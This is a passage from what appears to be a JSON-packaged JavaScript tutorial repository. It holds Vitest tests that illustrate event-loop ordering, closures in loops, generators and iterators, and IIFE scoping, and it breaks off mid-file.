expect(result).toBe(42)\n    })\n    \n    it('should handle async functions with try/catch', async () => {\n      async function mightFail(shouldFail) {\n        await Promise.resolve()\n        if (shouldFail) {\n          throw new Error('Failed!')\n        }\n        return 'Success'\n      }\n      \n      await expect(mightFail(false)).resolves.toBe('Success')\n      await expect(mightFail(true)).rejects.toThrow('Failed!')\n    })\n  })\n  \n  // ============================================================\n  // INTERVIEW QUESTIONS\n  // ============================================================\n  \n  describe('Interview Questions', () => {\n    beforeEach(() => {\n      vi.useFakeTimers()\n    })\n    \n    afterEach(() => {\n      vi.useRealTimers()\n    })\n    \n    it('Question 1: Basic Output Order - should output 1, 4, 3, 2', async () => {\n      // From lines 900-918\n      const order = []\n      \n      order.push('1')\n      setTimeout(() => order.push('2'), 0)\n      Promise.resolve().then(() => order.push('3'))\n      order.push('4')\n      \n      // Drain microtasks\n      await Promise.resolve()\n      \n      expect(order).toEqual(['1', '4', '3'])\n      \n      // Drain macrotasks\n      await vi.advanceTimersByTimeAsync(0)\n      \n      expect(order).toEqual(['1', '4', '3', '2'])\n    })\n    \n    it('Question 2: Nested Promises and Timeouts - should output sync, promise 1, promise 2, timeout 1, timeout 2', async () => {\n      // From lines 921-951\n      const order = []\n      \n      setTimeout(() => order.push('timeout 1'), 0)\n      \n      Promise.resolve().then(() => {\n        order.push('promise 1')\n        Promise.resolve().then(() => order.push('promise 2'))\n      })\n      \n      setTimeout(() => order.push('timeout 2'), 0)\n      \n      order.push('sync')\n      \n      // Sync done\n      expect(order).toEqual(['sync'])\n      \n      // Drain microtasks (including nested ones)\n      await Promise.resolve()\n      await Promise.resolve()\n      \n      expect(order).toEqual(['sync', 'promise 1', 'promise 2'])\n      \n      // Drain macrotasks\n      await vi.advanceTimersByTimeAsync(0)\n      \n      expect(order).toEqual(['sync', 'promise 1', 'promise 2', 'timeout 1', 'timeout 2'])\n    })\n    \n    it('Question 3: async/await Ordering - should output script start, foo start, script end, foo end', async () => {\n      // From lines 953-981\n      const order = []\n      \n      async function foo() {\n        order.push('foo start')\n        await Promise.resolve()\n        order.push('foo end')\n      }\n      \n      order.push('script start')\n      foo()\n      order.push('script end')\n      \n      await Promise.resolve()\n      \n      expect(order).toEqual(['script start', 'foo start', 'script end', 'foo end'])\n    })\n    \n    it('Question 4a: setTimeout in a loop with var - should output 3, 3, 3', async () => {\n      // From lines 985-997\n      const order = []\n      \n      for (var i = 0; i < 3; i++) {\n        setTimeout(() => order.push(i), 0)\n      }\n      \n      await vi.advanceTimersByTimeAsync(0)\n      \n      // All callbacks see i = 3 because var is function-scoped\n      expect(order).toEqual([3, 3, 3])\n    })\n    \n    it('Question 4b: setTimeout in a loop with let - should output 0, 1, 2', async () => {\n      // From lines 999-1004\n      const order = []\n      \n      for (let i = 0; i < 3; i++) {\n        setTimeout(() => order.push(i), 0)\n      }\n      \n      await vi.advanceTimersByTimeAsync(0)\n      \n      // Each callback has its own i because let is block-scoped\n      expect(order).toEqual([0, 1, 2])\n    })\n    \n    it('Question 4c: setTimeout in a loop with closure fix - should output 0, 1, 2', async () => {\n      // From lines 1007-1015\n      const order = []\n      \n      for (var i = 0; i < 3; i++) {\n        ((j) => {\n          setTimeout(() => order.push(j), 0)\n        })(i)\n      }\n      \n      await vi.advanceTimersByTimeAsync(0)\n      \n      // Each IIFE captures the current value of i\n      expect(order).toEqual([0, 1, 2])\n    })\n    \n    it('Question 6: Microtask scheduling - microtask should run', async () => {\n      // From lines 1051-1077 (simplified - not infinite)\n      const order = []\n      let count = 0\n      \n      function scheduleMicrotask() {\n        Promise.resolve().then(() => {\n          count++\n          order.push(`microtask ${count}`)\n          if (count < 3) {\n            scheduleMicrotask()\n          }\n        })\n      }\n      \n      scheduleMicrotask()\n      \n      // Drain all microtasks\n      await Promise.resolve()\n      await Promise.resolve()\n      await Promise.resolve()\n      \n      expect(order).toEqual(['microtask 1', 'microtask 2', 'microtask 3'])\n    })\n    \n    it('Misconception 1: setTimeout(fn, 0) does NOT run immediately - should output sync, promise, timeout', async () => {\n      // From lines 1084-1096\n      const order = []\n      \n      setTimeout(() => order.push('timeout'), 0)\n      Promise.resolve().then(() => order.push('promise'))\n      order.push('sync')\n      \n      await Promise.resolve()\n      await vi.advanceTimersByTimeAsync(0)\n      \n      // Output: sync, promise, timeout (NOT sync, timeout, promise)\n      expect(order).toEqual(['sync', 'promise', 'timeout'])\n    })\n    \n    it('Test Your Knowledge Q3: Complex ordering - should output E, B, C, A, D', async () => {\n      // From lines 1487-1504\n      const order = []\n      \n      setTimeout(() => order.push('A'), 0)\n      Promise.resolve().then(() => order.push('B'))\n      Promise.resolve().then(() => {\n        order.push('C')\n        setTimeout(() => order.push('D'), 0)\n      })\n      order.push('E')\n      \n      // Drain microtasks\n      await Promise.resolve()\n      await Promise.resolve()\n      \n      expect(order).toEqual(['E', 'B', 'C'])\n      \n      // Drain macrotasks\n      await vi.advanceTimersByTimeAsync(0)\n      \n      expect(order).toEqual(['E', 'B', 'C', 'A', 'D'])\n    })\n  })\n  \n  // ============================================================\n  // COMMON PATTERNS\n  // ============================================================\n  \n  describe('Common Patterns', () => {\n    beforeEach(() => {\n      vi.useFakeTimers()\n    })\n    \n    afterEach(() => {\n      vi.useRealTimers()\n    })\n    \n    it('this binding: regular function loses this context', async () => {\n      // From lines 1354-1363\n      const obj = {\n        name: 'Alice',\n        greet() {\n          return new Promise(resolve => {\n            setTimeout(function() {\n              // 'this' is undefined in strict mode (or global in non-strict)\n              resolve(this?.name)\n            }, 100)\n          })\n        }\n      }\n      \n      const resultPromise = obj.greet()\n      await vi.advanceTimersByTimeAsync(100)\n      const result = await resultPromise\n      \n      expect(result).toBeUndefined()\n    })\n    \n    it('this binding: arrow function preserves this context', async () => {\n      // From lines 1365-1373\n      const obj = {\n        name: 'Alice',\n        greet() {\n          return new Promise(resolve => {\n            setTimeout(() => {\n              resolve(this.name)\n            }, 100)\n          })\n        }\n      }\n      \n      const resultPromise = obj.greet()\n      await vi.advanceTimersByTimeAsync(100)\n      const result = await resultPromise\n      \n      expect(result).toBe('Alice')\n    })\n    \n    it('this binding: bind() preserves this context', async () => {\n      // From lines 1375-1383\n      const obj = {\n        name: 'Alice',\n        greet() {\n          return new Promise(resolve => {\n            setTimeout(function() {\n              resolve(this.name)\n            }.bind(this), 100)\n          })\n        }\n      }\n      \n      const resultPromise = obj.greet()\n      await vi.advanceTimersByTimeAsync(100)\n      const result = await resultPromise\n      \n      expect(result).toBe('Alice')\n    })\n    \n    it('closure in loop: var creates shared reference', async () => {\n      // From lines 1388-1393\n      const results = []\n      \n      for (var i = 0; i < 3; i++) {\n        setTimeout(() => results.push(i), 100)\n      }\n      \n      await vi.advanceTimersByTimeAsync(100)\n      \n      // Output: 3, 3, 3\n      expect(results).toEqual([3, 3, 3])\n    })\n    \n    it('closure in loop: let creates new binding per iteration', async () => {\n      // From lines 1395-1399\n      const results = []\n      \n      for (let i = 0; i < 3; i++) {\n        setTimeout(() => results.push(i), 100)\n      }\n      \n      await vi.advanceTimersByTimeAsync(100)\n      \n      // Output: 0, 1, 2\n      expect(results).toEqual([0, 1, 2])\n    })\n    \n    it('closure in loop: setTimeout third argument passes value', async () => {\n      // From lines 1401-1405\n      const results = []\n      \n      for (var i = 0; i < 3; i++) {\n        setTimeout((j) => results.push(j), 100, i)\n      }\n      \n      await vi.advanceTimersByTimeAsync(100)\n      \n      // Output: 0, 1, 2\n      expect(results).toEqual([0, 1, 2])\n    })\n    \n    it('should implement chunking with setTimeout', async () => {\n      // From lines 1196-1215\n      const processed = []\n      const items = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n      \n      function processInChunks(items, process, chunkSize = 3) {\n        let index = 0\n        \n        function doChunk() {\n          const end = Math.min(index + chunkSize, items.length)\n          \n          for (; index < end; index++) {\n            process(items[index])\n          }\n          \n          if (index < items.length) {\n            setTimeout(doChunk, 0)\n          }\n        }\n        \n        doChunk()\n      }\n      \n      processInChunks(items, item => processed.push(item), 3)\n      \n      // First chunk runs synchronously\n      expect(processed).toEqual([1, 2, 3])\n      \n      // Run all remaining timers\n      await vi.runAllTimersAsync()\n      \n      expect(processed).toEqual([1, 2, 3, 4, 5, 6, 7, 8, 9, 10])\n    })\n    \n    it('should implement async polling with nested setTimeout', async () => {\n      // From lines 1532-1540\n      const results = []\n      let pollCount = 0\n      \n      async function poll() {\n        // Simulate async fetch\n        const data = await Promise.resolve(`data ${++pollCount}`)\n        results.push(data)\n        \n        if (pollCount < 3) {\n          setTimeout(poll, 1000)\n        }\n      }\n      \n      poll()\n      \n      // First poll completes immediately (Promise.resolve)\n      await Promise.resolve()\n      expect(results).toEqual(['data 1'])\n      \n      // Second poll after 1000ms\n      await vi.advanceTimersByTimeAsync(1000)\n      await Promise.resolve()\n      expect(results).toEqual(['data 1', 'data 2'])\n      \n      // Third poll after another 1000ms\n      await vi.advanceTimersByTimeAsync(1000)\n      await Promise.resolve()\n      expect(results).toEqual(['data 1', 'data 2', 'data 3'])\n    })\n  })\n  \n  // ============================================================\n  // YIELDING TO EVENT LOOP\n  // ============================================================\n  \n  describe('Yielding to Event Loop', () => {\n    beforeEach(() => {\n      vi.useFakeTimers()\n    })\n    \n    afterEach(() => {\n      vi.useRealTimers()\n    })\n    \n    it('should yield with setTimeout(resolve, 0)', async () => {\n      // From lines 1547-1548\n      const order = []\n      \n      order.push('before yield')\n      \n      // Create the promise but don't await yet\n      const yieldPromise = new Promise(resolve => setTimeout(resolve, 0))\n      \n      // Advance timers to resolve the setTimeout\n      await vi.advanceTimersByTimeAsync(0)\n      \n      // Now await the resolved promise\n      await yieldPromise\n      \n      order.push('after yield')\n      \n      expect(order).toEqual(['before yield', 'after yield'])\n    })\n    \n    it('should yield with queueMicrotask', async () => {\n      // From lines 1550-1551\n      const order = []\n      \n      order.push('before yield')\n      \n      await new Promise(resolve => queueMicrotask(resolve))\n      \n      order.push('after yield')\n      \n      expect(order).toEqual(['before yield', 'after yield'])\n    })\n    \n    it('should demonstrate difference between setTimeout and queueMicrotask yields', async () => {\n      const order = []\n      \n      // Schedule a setTimeout callback\n      setTimeout(() => order.push('timeout'), 0)\n      \n      // Yield with queueMicrotask - runs before timeout\n      await new Promise(resolve => queueMicrotask(resolve))\n      order.push('after queueMicrotask yield')\n      \n      // Timeout hasn't run yet\n      expect(order).toEqual(['after queueMicrotask yield'])\n      \n      // Now let timeout run\n      await vi.advanceTimersByTimeAsync(0)\n      expect(order).toEqual(['after queueMicrotask yield', 'timeout'])\n    })\n  })\n  \n  // ============================================================\n  // EDGE CASES\n  // ============================================================\n  \n  describe('Edge Cases', () => {\n    beforeEach(() => {\n      vi.useFakeTimers()\n    })\n    \n    afterEach(() => {\n      vi.useRealTimers()\n    })\n    \n    it('should handle Promise.resolve() vs new Promise()', async () => {\n      const order = []\n      \n      // Both create microtasks\n      Promise.resolve().then(() => order.push('Promise.resolve'))\n      new Promise(resolve => resolve()).then(() => order.push('new Promise'))\n      \n      await Promise.resolve()\n      await Promise.resolve()\n      \n      expect(order).toEqual(['Promise.resolve', 'new Promise'])\n    })\n    \n    it('should handle setTimeout with 0 vs undefined delay', async () => {\n      const order = []\n      \n      setTimeout(() => order.push('explicit 0'), 0)\n      setTimeout(() => order.push('undefined delay'))\n      \n      await vi.advanceTimersByTimeAsync(0)\n      \n      // Both should run (undefined defaults to 0)\n      expect(order).toEqual(['explicit 0', 'undefined delay'])\n    })\n    \n    it('should handle clearTimeout with invalid ID', () => {\n      // Should not throw\n      expect(() => clearTimeout(undefined)).not.toThrow()\n      expect(() => clearTimeout(null)).not.toThrow()\n      expect(() => clearTimeout(999999)).not.toThrow()\n    })\n    \n    it('should handle clearInterval with invalid ID', () => {\n      // Should not throw\n      expect(() => clearInterval(undefined)).not.toThrow()\n      expect(() => clearInterval(null)).not.toThrow()\n      expect(() => clearInterval(999999)).not.toThrow()\n    })\n    \n    it('should handle promise rejection in microtask', async () => {\n      const order = []\n      \n      Promise.resolve()\n        .then(() => {\n          order.push('then 1')\n          throw new Error('error')\n        })\n        .catch(() => order.push('catch'))\n        .then(() => order.push('then after catch'))\n      \n      await Promise.resolve()\n      await Promise.resolve()\n      await Promise.resolve()\n      \n      expect(order).toEqual(['then 1', 'catch', 'then after catch'])\n    })\n    \n    it('should handle nested setTimeout with different delays', async () => {\n      const order = []\n      \n      setTimeout(() => {\n        order.push('outer')\n        setTimeout(() => order.push('inner'), 50)\n      }, 100)\n      \n      await vi.advanceTimersByTimeAsync(100)\n      expect(order).toEqual(['outer'])\n      \n      await vi.advanceTimersByTimeAsync(50)\n      expect(order).toEqual(['outer', 'inner'])\n    })\n    \n    it('should handle multiple Promise.then chains', async () => {\n      const order = []\n      \n      const p = Promise.resolve()\n      \n      p.then(() => order.push('chain 1'))\n      p.then(() => order.push('chain 2'))\n      p.then(() => order.push('chain 3'))\n      \n      await Promise.resolve()\n      \n      // All chains from same promise run in order\n      expect(order).toEqual(['chain 1', 'chain 2', 'chain 3'])\n    })\n    \n    it('should handle async function that returns immediately', async () => {\n      const order = []\n      \n      async function immediate() {\n        order.push('inside async')\n        return 'result'\n      }\n      \n      order.push('before')\n      const promise = immediate()\n      order.push('after')\n      \n      // async function body runs synchronously until first await\n      expect(order).toEqual(['before', 'inside async', 'after'])\n      \n      const result = await promise\n      expect(result).toBe('result')\n    })\n    \n    it('should handle Promise.all with microtask ordering', async () => {\n      const order = []\n      \n      Promise.all([\n        Promise.resolve().then(() => order.push('p1')),\n        Promise.resolve().then(() => order.push('p2')),\n        Promise.resolve().then(() => order.push('p3'))\n      ]).then(() => order.push('all done'))\n      \n      // First tick: individual promises resolve\n      await Promise.resolve()\n      expect(order).toEqual(['p1', 'p2', 'p3'])\n      \n      // Second tick: Promise.all sees all resolved\n      await Promise.resolve()\n      // Third tick: .then() callback runs\n      await Promise.resolve()\n      expect(order).toEqual(['p1', 'p2', 'p3', 'all done'])\n    })\n  })\n})\n"
  },
  {
    "path": "tests/functions-execution/generators-iterators/generators-iterators.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Generators & Iterators', () => {\n  describe('Basic Iterator Protocol', () => {\n    it('should follow the iterator protocol with { value, done }', () => {\n      function createIterator(arr) {\n        let index = 0\n        return {\n          next() {\n            if (index < arr.length) {\n              return { value: arr[index++], done: false }\n            }\n            return { value: undefined, done: true }\n          }\n        }\n      }\n\n      const iterator = createIterator([1, 2, 3])\n\n      expect(iterator.next()).toEqual({ value: 1, done: false })\n      expect(iterator.next()).toEqual({ value: 2, done: false })\n      expect(iterator.next()).toEqual({ value: 3, done: false })\n      expect(iterator.next()).toEqual({ value: undefined, done: true })\n    })\n\n    it('should allow accessing array iterator via Symbol.iterator', () => {\n      const arr = [10, 20, 30]\n      const iterator = arr[Symbol.iterator]()\n\n      expect(iterator.next()).toEqual({ value: 10, done: false })\n      expect(iterator.next()).toEqual({ value: 20, done: false })\n      expect(iterator.next()).toEqual({ value: 30, done: false })\n      expect(iterator.next()).toEqual({ value: undefined, done: true })\n    })\n  })\n\n  describe('Basic Generator Syntax', () => {\n    it('should create a generator function with function*', () => {\n      function* simpleGenerator() {\n        yield 1\n        yield 2\n        yield 3\n      }\n\n      const gen = simpleGenerator()\n\n      expect(gen.next()).toEqual({ value: 1, done: false })\n      expect(gen.next()).toEqual({ value: 2, done: false })\n      expect(gen.next()).toEqual({ value: 3, done: false })\n      expect(gen.next()).toEqual({ value: undefined, done: true })\n    })\n\n    it('should not execute until .next() is called', () => {\n      let executed = false\n\n      function* trackExecution() {\n        executed = true\n        yield 'done'\n      }\n\n      const gen = trackExecution()\n      expect(executed).toBe(false) // Not executed yet!\n\n      gen.next()\n      expect(executed).toBe(true) // Now it's executed\n    })\n\n    it('should work with for...of loops', () => {\n      function* colors() {\n        yield 'red'\n        yield 'green'\n        yield 'blue'\n      }\n\n      const result = []\n      for (const color of colors()) {\n        result.push(color)\n      }\n\n      expect(result).toEqual(['red', 'green', 'blue'])\n    })\n\n    it('should work with spread operator', () => {\n      function* numbers() {\n        yield 1\n        yield 2\n        yield 3\n      }\n\n      expect([...numbers()]).toEqual([1, 2, 3])\n    })\n  })\n\n  describe('yield vs return', () => {\n    it('should pause execution at yield and allow resuming', () => {\n      const executionOrder = []\n\n      function* trackOrder() {\n        executionOrder.push('before first yield')\n        yield 'A'\n        executionOrder.push('after first yield')\n        yield 'B'\n        executionOrder.push('after second yield')\n      }\n\n      const gen = trackOrder()\n\n      expect(executionOrder).toEqual([])\n\n      gen.next()\n      expect(executionOrder).toEqual(['before first yield'])\n\n      gen.next()\n      expect(executionOrder).toEqual(['before first yield', 'after first yield'])\n\n      gen.next()\n      expect(executionOrder).toEqual([\n        'before first yield',\n        'after first yield',\n        'after second yield'\n      ])\n    })\n\n    it('should mark done: true on return', () => {\n      function* withReturn() {\n        yield 'A'\n        return 'B'\n        yield 'C' // This never executes\n      }\n\n      const gen = withReturn()\n\n      expect(gen.next()).toEqual({ value: 'A', done: false })\n      expect(gen.next()).toEqual({ value: 'B', done: true })\n      expect(gen.next()).toEqual({ value: undefined, done: true })\n    })\n\n    it('should NOT include return value in for...of', () => {\n      function* withReturn() {\n        yield 'A'\n        yield 'B'\n        return 'C' // Not included in iteration!\n      }\n\n      expect([...withReturn()]).toEqual(['A', 'B']) // No 'C'!\n    })\n  })\n\n  describe('yield* delegation', () => {\n    it('should delegate to another iterable', () => {\n      function* inner() {\n        yield 'a'\n        yield 'b'\n      }\n\n      function* outer() {\n        yield 1\n        yield* inner()\n        yield 2\n      }\n\n      expect([...outer()]).toEqual([1, 'a', 'b', 2])\n    })\n\n    it('should delegate to arrays', () => {\n      function* withArray() {\n        yield 'start'\n        yield* [1, 2, 3]\n        yield 'end'\n      }\n\n      expect([...withArray()]).toEqual(['start', 1, 2, 3, 'end'])\n    })\n\n    it('should flatten nested arrays recursively', () => {\n      function* flatten(arr) {\n        for (const item of arr) {\n          if (Array.isArray(item)) {\n            yield* flatten(item)\n          } else {\n            yield item\n          }\n        }\n      }\n\n      const nested = [1, [2, 3, [4, 5]], 6]\n      expect([...flatten(nested)]).toEqual([1, 2, 3, 4, 5, 6])\n    })\n  })\n\n  describe('Passing values to generators', () => {\n    it('should receive values via .next(value)', () => {\n      function* adder() {\n        const a = yield 'Enter first number'\n        const b = yield 'Enter second number'\n        yield a + b\n      }\n\n      const gen = adder()\n\n      expect(gen.next().value).toBe('Enter first number')\n      expect(gen.next(10).value).toBe('Enter second number')\n      expect(gen.next(5).value).toBe(15)\n    })\n\n    it('should ignore value passed to first .next()', () => {\n      function* capture() {\n        const first = yield 'ready'\n        yield first\n      }\n\n      const gen = capture()\n\n      // First .next() value is ignored because no yield is waiting\n      gen.next('IGNORED')\n      expect(gen.next('captured').value).toBe('captured')\n    })\n  })\n\n  describe('Symbol.iterator - Custom Iterables', () => {\n    it('should make object iterable with Symbol.iterator', () => {\n      const myCollection = {\n        items: ['apple', 'banana', 'cherry'],\n        [Symbol.iterator]() {\n          let index = 0\n          const items = this.items\n          return {\n            next() {\n              if (index < items.length) {\n                return { value: items[index++], done: false }\n              }\n              return { value: undefined, done: true }\n            }\n          }\n        }\n      }\n\n      expect([...myCollection]).toEqual(['apple', 'banana', 'cherry'])\n    })\n\n    it('should make object iterable with generator', () => {\n      const myCollection = {\n        items: [1, 2, 3],\n        *[Symbol.iterator]() {\n          yield* this.items\n        }\n      }\n\n      const result = []\n      for (const item of myCollection) {\n        result.push(item)\n      }\n\n      expect(result).toEqual([1, 2, 3])\n    })\n\n    it('should create an iterable Range class', () => {\n      class Range {\n        constructor(start, end, step = 1) {\n          this.start = start\n          this.end = end\n          this.step = step\n        }\n\n        *[Symbol.iterator]() {\n          for (let i = this.start; i <= this.end; i += this.step) {\n            yield i\n          }\n        }\n      }\n\n      expect([...new Range(1, 5)]).toEqual([1, 2, 3, 4, 5])\n      expect([...new Range(0, 10, 2)]).toEqual([0, 2, 4, 6, 8, 10])\n      expect([...new Range(5, 1)]).toEqual([]) // Empty when start > end\n    })\n  })\n\n  describe('Lazy Evaluation', () => {\n    it('should compute values on demand', () => {\n      let computeCount = 0\n\n      function* lazyComputation() {\n        while (true) {\n          computeCount++\n          yield computeCount\n        }\n      }\n\n      const gen = lazyComputation()\n\n      expect(computeCount).toBe(0) // Nothing computed yet\n\n      gen.next()\n      expect(computeCount).toBe(1)\n\n      gen.next()\n      expect(computeCount).toBe(2)\n\n      // Only computed twice, not infinitely\n    })\n\n    it('should handle infinite sequences safely with take()', () => {\n      function* naturalNumbers() {\n        let n = 1\n        while (true) {\n          yield n++\n        }\n      }\n\n      function* take(n, iterable) {\n        let count = 0\n        for (const item of iterable) {\n          if (count >= n) return\n          yield item\n          count++\n        }\n      }\n\n      expect([...take(5, naturalNumbers())]).toEqual([1, 2, 3, 4, 5])\n    })\n\n    it('should generate Fibonacci sequence lazily', () => {\n      function* fibonacci() {\n        let prev = 0\n        let curr = 1\n\n        while (true) {\n          yield curr\n          const next = prev + curr\n          prev = curr\n          curr = next\n        }\n      }\n\n      function* take(n, iterable) {\n        let count = 0\n        for (const item of iterable) {\n          if (count >= n) return\n          yield item\n          count++\n        }\n      }\n\n      expect([...take(10, fibonacci())]).toEqual([\n        1, 1, 2, 3, 5, 8, 13, 21, 34, 55\n      ])\n    })\n  })\n\n  describe('Common Patterns', () => {\n    it('should create a unique ID generator', () => {\n      function* createIdGenerator(prefix = 'id') {\n        let id = 1\n        while (true) {\n          yield `${prefix}_${id++}`\n        }\n      }\n\n      const userIds = createIdGenerator('user')\n      const orderIds = createIdGenerator('order')\n\n      expect(userIds.next().value).toBe('user_1')\n      expect(userIds.next().value).toBe('user_2')\n      expect(orderIds.next().value).toBe('order_1')\n      expect(userIds.next().value).toBe('user_3')\n      expect(orderIds.next().value).toBe('order_2')\n    })\n\n    it('should chunk arrays into batches', () => {\n      function* chunk(array, size) {\n        for (let i = 0; i < array.length; i += size) {\n          yield array.slice(i, i + size)\n        }\n      }\n\n      const data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n\n      expect([...chunk(data, 3)]).toEqual([\n        [1, 2, 3],\n        [4, 5, 6],\n        [7, 8, 9],\n        [10]\n      ])\n    })\n\n    it('should implement filter and map with generators', () => {\n      function* filter(iterable, predicate) {\n        for (const item of iterable) {\n          if (predicate(item)) {\n            yield item\n          }\n        }\n      }\n\n      function* map(iterable, transform) {\n        for (const item of iterable) {\n          yield transform(item)\n        }\n      }\n\n      function* range(start, end) {\n        for (let i = start; i <= end; i++) {\n          yield i\n        }\n      }\n\n      // Pipeline: 1-10 -> filter evens -> double them\n      const result = map(\n        filter(range(1, 10), n => n % 2 === 0),\n        n => n * 2\n      )\n\n      expect([...result]).toEqual([4, 8, 12, 16, 20])\n    })\n\n    it('should implement a simple state machine', () => {\n      function* trafficLight() {\n        while (true) {\n          yield 'green'\n          yield 'yellow'\n          yield 'red'\n        }\n      }\n\n      const light = trafficLight()\n\n      expect(light.next().value).toBe('green')\n      expect(light.next().value).toBe('yellow')\n      expect(light.next().value).toBe('red')\n      expect(light.next().value).toBe('green') // Cycles back\n      expect(light.next().value).toBe('yellow')\n    })\n\n    it('should traverse a tree structure', () => {\n      function* traverseTree(node) {\n        yield node.value\n\n        if (node.children) {\n          for (const child of node.children) {\n            yield* traverseTree(child)\n          }\n        }\n      }\n\n      const tree = {\n        value: 'root',\n        children: [\n          {\n            value: 'child1',\n            children: [{ value: 'grandchild1' }, { value: 'grandchild2' }]\n          },\n          {\n            value: 'child2',\n            children: [{ value: 'grandchild3' }]\n          }\n        ]\n      }\n\n      expect([...traverseTree(tree)]).toEqual([\n        'root',\n        'child1',\n        'grandchild1',\n        'grandchild2',\n        'child2',\n        'grandchild3'\n      ])\n    })\n  })\n\n  describe('Async Generators', () => {\n    it('should create async generators with async function*', async () => {\n      async function* asyncNumbers() {\n        yield await Promise.resolve(1)\n        yield await Promise.resolve(2)\n        yield await Promise.resolve(3)\n      }\n\n      const results = []\n      for await (const num of asyncNumbers()) {\n        results.push(num)\n      }\n\n      expect(results).toEqual([1, 2, 3])\n    })\n\n    it('should handle delayed async values', async () => {\n      const delay = ms => new Promise(resolve => setTimeout(resolve, ms))\n\n      async function* delayedNumbers() {\n        await delay(10)\n        yield 1\n        await delay(10)\n        yield 2\n        await delay(10)\n        yield 3\n      }\n\n      const results = []\n      for await (const num of delayedNumbers()) {\n        results.push(num)\n      }\n\n      expect(results).toEqual([1, 2, 3])\n    })\n\n    it('should simulate paginated API fetching', async () => {\n      // Mock paginated data\n      const mockPages = [\n        { items: ['a', 'b'], hasNextPage: true },\n        { items: ['c', 'd'], hasNextPage: true },\n        { items: ['e'], hasNextPage: false }\n      ]\n\n      async function* fetchAllPages() {\n        let page = 0\n        let hasMore = true\n\n        while (hasMore) {\n          // Simulate API call\n          const data = await Promise.resolve(mockPages[page])\n          yield data.items\n          hasMore = data.hasNextPage\n          page++\n        }\n      }\n\n      const allItems = []\n      for await (const pageItems of fetchAllPages()) {\n        allItems.push(...pageItems)\n      }\n\n      expect(allItems).toEqual(['a', 'b', 'c', 'd', 'e'])\n    })\n  })\n\n  describe('Generator Exhaustion', () => {\n    it('should only be iterable once', () => {\n      function* nums() {\n        yield 1\n        yield 2\n      }\n\n      const gen = nums()\n\n      expect([...gen]).toEqual([1, 2])\n      expect([...gen]).toEqual([]) // Exhausted!\n    })\n\n    it('should create fresh generator for each iteration', () => {\n      function* nums() {\n        yield 1\n        yield 2\n      }\n\n      expect([...nums()]).toEqual([1, 2])\n      expect([...nums()]).toEqual([1, 2]) // Fresh generator each time\n    })\n  })\n\n  describe('Error Handling', () => {\n    it('should allow throwing errors into generator with .throw()', () => {\n      function* gen() {\n        try {\n          yield 'A'\n          yield 'B'\n        } catch (e) {\n          yield `Error: ${e.message}`\n        }\n      }\n\n      const g = gen()\n\n      expect(g.next().value).toBe('A')\n      expect(g.throw(new Error('Something went wrong')).value).toBe(\n        'Error: Something went wrong'\n      )\n    })\n\n    it('should allow early termination with .return()', () => {\n      function* gen() {\n        yield 1\n        yield 2\n        yield 3\n      }\n\n      const g = gen()\n\n      expect(g.next().value).toBe(1)\n      expect(g.return('early exit')).toEqual({ value: 'early exit', done: true })\n      expect(g.next()).toEqual({ value: undefined, done: true })\n    })\n  })\n})\n"
  },
  {
    "path": "tests/functions-execution/iife-modules/iife-modules.test.js",
    "content": "import { describe, it, expect, vi } from 'vitest'\n\ndescribe('IIFE, Modules and Namespaces', () => {\n  // ===========================================\n  // Part 1: IIFE — The Self-Running Function\n  // ===========================================\n\n  describe('Part 1: IIFE — The Self-Running Function', () => {\n    describe('What is an IIFE?', () => {\n      it('should require calling a normal function manually', () => {\n        let called = false\n\n        function greet() {\n          called = true\n        }\n\n        // Function is defined but not called yet\n        expect(called).toBe(false)\n\n        greet() // You have to call it\n        expect(called).toBe(true)\n      })\n\n      it('should run IIFE immediately without manual call', () => {\n        let called = false\n\n        // An IIFE — it runs immediately, no calling needed\n        ;(function () {\n          called = true\n        })() // Runs right away!\n\n        expect(called).toBe(true)\n      })\n\n      it('should demonstrate IIFE executes during definition', () => {\n        const results = []\n\n        results.push('before IIFE')\n        ;(function () {\n          results.push('inside IIFE')\n        })()\n        results.push('after IIFE')\n\n        expect(results).toEqual(['before IIFE', 'inside IIFE', 'after IIFE'])\n      })\n    })\n\n    describe('IIFE Variations', () => {\n      it('should work with classic style', () => {\n        let executed = false\n\n        // Classic style\n        ;(function () {\n          executed = true\n        })()\n\n        expect(executed).toBe(true)\n      })\n\n      it('should work with alternative parentheses placement', () => {\n        let executed = false\n\n        // Alternative parentheses placement\n        ;(function () {\n          executed = true\n        })()\n\n        expect(executed).toBe(true)\n      })\n\n      it('should work with arrow function IIFE (modern)', () => {\n        let executed = false\n\n        // Arrow function IIFE (modern)\n        ;(() => {\n          executed = true\n        })()\n\n        expect(executed).toBe(true)\n      })\n\n      it('should work with parameters', () => {\n        let greeting = ''\n\n        // With parameters\n        ;((name) => {\n          greeting = `Hello, ${name}!`\n        })('Alice')\n\n        expect(greeting).toBe('Hello, Alice!')\n      })\n\n      it('should work with named IIFE (useful for debugging)', () => {\n        let executed = false\n\n        // Named IIFE (useful for debugging)\n        ;(function myIIFE() {\n          executed = true\n        })()\n\n        expect(executed).toBe(true)\n      })\n\n      it('should allow named IIFE to call itself recursively', () => {\n        const result = (function factorial(n) {\n          if (n <= 1) return 1\n          return n * factorial(n - 1)\n        })(5)\n\n        expect(result).toBe(120)\n      })\n    })\n\n    describe('Why Were IIFEs Invented? (Global Scope Problem)', () => {\n      it('should demonstrate var variables can be overwritten in same scope', () => {\n        // Simulating file1.js\n        var userName = 'Alice'\n        var count = 0\n\n        // Simulating file2.js (loaded after file1.js)\n        var userName = 'Bob' // Overwrites the first userName\n        var count = 100 // Overwrites the first count\n\n        // Now file1.js's code is broken because its variables were replaced\n        expect(userName).toBe('Bob')\n        expect(count).toBe(100)\n      })\n\n      it('should demonstrate IIFE creates private scope', () => {\n        let file1UserName\n        let file2UserName\n\n        // file1.js — wrapped in an IIFE\n        ;(function () {\n          var userName = 'Alice' // Private to this IIFE\n          file1UserName = userName\n        })()\n\n        // file2.js — also wrapped in an IIFE\n        ;(function () {\n          var userName = 'Bob' // Different variable, no conflict!\n          file2UserName = userName\n        })()\n\n        expect(file1UserName).toBe('Alice')\n        expect(file2UserName).toBe('Bob')\n      })\n\n      it('should keep IIFE variables inaccessible from outside', () => {\n        ;(function () {\n          var privateVar = 'secret'\n          // privateVar exists here\n          expect(privateVar).toBe('secret')\n        })()\n\n        // privateVar is not accessible here\n        expect(typeof privateVar).toBe('undefined')\n      })\n    })\n\n    describe('Practical Example: Creating Private Variables (Module Pattern)', () => {\n      it('should 